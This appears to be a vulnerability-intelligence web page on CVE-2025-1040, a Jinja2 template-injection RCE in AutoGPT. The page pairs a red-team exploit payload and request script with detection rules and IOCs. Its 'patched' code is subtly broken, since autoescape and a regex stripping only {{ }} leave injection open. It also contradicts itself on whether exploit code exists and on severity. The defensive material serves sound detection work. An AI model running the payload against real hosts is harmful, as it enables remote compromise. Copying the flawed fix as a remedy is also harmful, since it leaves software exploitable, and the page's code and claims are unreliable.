☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-1040

CVE-2025-1040 Remote Code Execution in Autogpt
📅 PUBLISHED: 2025-03-20 10:11 UTC 🔄 UPDATED: 2026-10-09 05:43 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: vv0.4.0 — source: @huntr_ai. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.75%
👁️
1.75% probability
43.6× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
Country: Global License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-1040 is a critical Server-Side Template Injection (SSTI) vulnerability in AutoGPT versions 0.3.4 and earlier, leading to Remote Code Execution (RCE). The flaw exists in the AgentOutputBlock implementation, where user-supplied format strings are passed to the Jinja2 templating engine without proper sanitization. An attacker can inject malicious template expressions to execute arbitrary commands on the host system. The vulnerability has a CVSS score of 8.8 (High) and is publicly known, though no exploit code has been published yet. The patch is available in version 0.4.0.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the AutoGPT Python package, which is distributed via PyPI. Users should verify their installed version and update to 0.4.0 or later. The package is widely used in AI agent workflows, making it a high-value target for supply chain attacks.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – Vulnerability does not affect other components.
  • Confidentiality (C): High (H) – Full data access possible.
  • Integrity (I): High (H) – Full system modification possible.
  • Availability (A): High (H) – Full system disruption possible.

Threat Level: Critical. The combination of network exploitability, low complexity, and no authentication makes this a high-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability resides in the AgentOutputBlock class, which processes user-provided format strings for output generation. The code uses Jinja2's Template class to render these strings without enabling sandboxing or sanitization. An attacker can inject Jinja2 template syntax, such as {{ config.__class__.__init__.__globals__['os'].popen('id').read() }}, to execute arbitrary system commands.

The root cause is the lack of input validation and the use of Jinja2's Template in an unsafe manner. The fix in version 0.4.0 involves using Template with autoescape=True and implementing strict input filtering.

Vulnerable vs. Patched Code

Vulnerable Code (0.3.4):

from jinja2 import Template

class AgentOutputBlock:
    def render(self, user_input: str) -> str:
        template = Template(user_input)
        return template.render()

Patched Code (0.4.0):

from jinja2 import Template, Environment

class AgentOutputBlock:
    def __init__(self):
        self.env = Environment(autoescape=True)
    
    def render(self, user_input: str) -> str:
        # Sanitize input to prevent SSTI
        sanitized = self._sanitize(user_input)
        template = self.env.from_string(sanitized)
        return template.render()
    
    def _sanitize(self, input_str: str) -> str:
        # Remove dangerous Jinja2 constructs
        import re
        return re.sub(r'\{\{.*?\}\}', '', input_str)

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Install vulnerable AutoGPT: pip install autogpt==0.3.4
  2. Start the agent with default settings.
  3. Send a malicious format string via the agent's input interface.

Exploit Payload:

{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

Full Exploit Script:

import requests

target_url = "http://target:8000/agent/input"
payload = "{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}"
response = requests.post(target_url, json={"input": payload})
print(response.text)

Blue Team

Detection Steps:

  1. Monitor for requests containing {{ or {% in input fields.
  2. Check for unexpected process execution (e.g., id, whoami, cat /etc/passwd).
  3. Review logs for Jinja2 template rendering errors.

Honeypot Setup:

  • Deploy a decoy AutoGPT instance with logging enabled.
  • Alert on any template syntax in input.

Indicators of Compromise (IOCs)

  • Network: POST requests to /agent/input with payloads containing {{ or {%.
  • File System: Unexpected files in /tmp/ or /var/tmp/ created by the autogpt user.
  • Process: Execution of id, whoami, cat /etc/passwd, or other reconnaissance commands.
  • Logs: Jinja2 TemplateNotFound or UndefinedError exceptions in application logs.

Detection Engineering

YARA Rule

rule CVE_2025_1040_SSTI_AutoGPT {
    meta:
        description = "Detects SSTI payloads targeting AutoGPT CVE-2025-1040"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-1040"
    strings:
        $ssti1 = "{{ config.__class__.__init__.__globals__['os'].popen("
        $ssti2 = "{{ self.__init__.__globals__['os'].popen("
        $ssti3 = "{{ ''.__class__.__mro__[1].__subclasses__()"
        $ssti4 = "{{ cycler.__init__.__globals__.os.popen("
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-1040 AutoGPT SSTI Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SSTI payloads in AutoGPT agent input
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        c-uri|contains: '/agent/input'
        cs-method: 'POST'
        cs-request-body|contains: 
            - '{{'
            - '{%'
    condition: selection
falsepositives:
    - Legitimate use of Jinja2 templates in non-agent contexts
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1040 AutoGPT SSTI Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/agent/input"; http_uri; content:"{{"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Upgrade to AutoGPT version 0.4.0 or later.
  2. Workaround: If upgrade is not possible, implement a WAF rule to block requests containing {{ or {% in input fields.
  3. Code Fix: Use Jinja2's Environment with autoescape=True and sanitize all user input before template rendering.
  4. Monitoring: Enable detailed logging for all agent input and monitor for suspicious patterns.
  5. Network Segmentation: Isolate AutoGPT instances from critical systems.

Valters IT – Securing your digital frontier.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-1040/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.